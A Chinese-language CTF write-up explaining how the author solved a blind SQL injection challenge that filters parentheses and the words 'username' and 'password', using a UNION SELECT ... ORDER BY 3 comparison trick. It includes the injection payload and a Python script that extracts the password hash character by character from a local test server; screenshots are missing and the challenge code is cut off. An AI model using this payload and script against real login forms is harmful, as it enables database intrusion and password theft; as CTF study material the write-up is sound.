CTF中过滤括号的盲注题小记

【说在前面的话:这是我做的第一个过滤了括号的盲注题目,看着论坛里很多人都有打CTF,就发出来一起交流一下,还望大神轻喷。文章本来应该归类到CTF的,可惜我发帖数量不够,访问不了。如果发帖不正确也请跟我练习,我会按照要求改动】

解题过程:

题目的代码:

 query($sql);
if($res->num_rows>0){
    $row = $res -> fetch_assoc();
    if($row['id']){
        echo $row['username'];
    }
}else{
    echo "The content in the password column is the flag!";
}
?>

当然这题目不是直接了当地给出代码,而是还有一些前奏,但是和本次要记录的内容无关就省略了。
对给出的代码做审计,发现在最后的内容是:如果查询有结果就显示结果中的username,如果没有就显示最后一行代码。
如果在没有fileter的情况下,可以用union的方法变相取出password。但是在filter中过滤了username和password,所以这里就不能用常规的联合查询或者报错注入,只能用常规的盲注。可是大部分的盲注是需要括号的,但是这里的代码又过滤了括号。
在网上找了一下,发现了union select加上order by的方法:

select * from admin where username='admin' and password='' or 1 union select 1,2,'%s' from admin order by 3 #'

在本地自己搭建环境测试一下:
 



(上图是自己添加的测试数据)
猜测第一个数据:
 

CTF中过滤括号的盲注题小记_第1张图片



 

CTF中过滤括号的盲注题小记_第2张图片



 

CTF中过滤括号的盲注题小记_第3张图片



 

CTF中过滤括号的盲注题小记_第4张图片




猜测第二个数据:

 

CTF中过滤括号的盲注题小记_第5张图片



 

CTF中过滤括号的盲注题小记_第6张图片



 

CTF中过滤括号的盲注题小记_第7张图片




这里不难看到一个规律,如果猜测的字符如果大于实际字符,那么结果会把实际的结果显示在第一行,否则显示在第二行
基于这个现象,对题目进行尝试:

 

CTF中过滤括号的盲注题小记_第8张图片



 

CTF中过滤括号的盲注题小记_第9张图片




这里看到的情况跟我们测试的情况一样,所以正确的字符应该是首次出现“whaleadmin”的上一个字符。
所以我这里写了个py脚本:

 

import requests

url = "http://127.0.0.1/index.php"

alist = "0123456789abcdef"

payload = ""
payload1 = "' or 1 union select 1,2,'"
payload2 = "' from admin order by 3 #"


datas = {"username":"1","password":""}

tmp_OK = ""
tmp = ""
for j in range(0,32):
    for i in alist:
        payload = payload1+tmp_OK+i+payload2
        datas["password"] = payload
        #print datas
        r = requests.post(url=url,data=datas)
        #print r.text
        if "whaleadmin" in r.text:
            tmp_OK += tmp
            print tmp_OK
            break
        if ("2" in r.text) and (i == "f"):
            tmp_OK += i
            print tmp_OK
        tmp = i

 

你可能感兴趣的:(CTF以及各类靶机)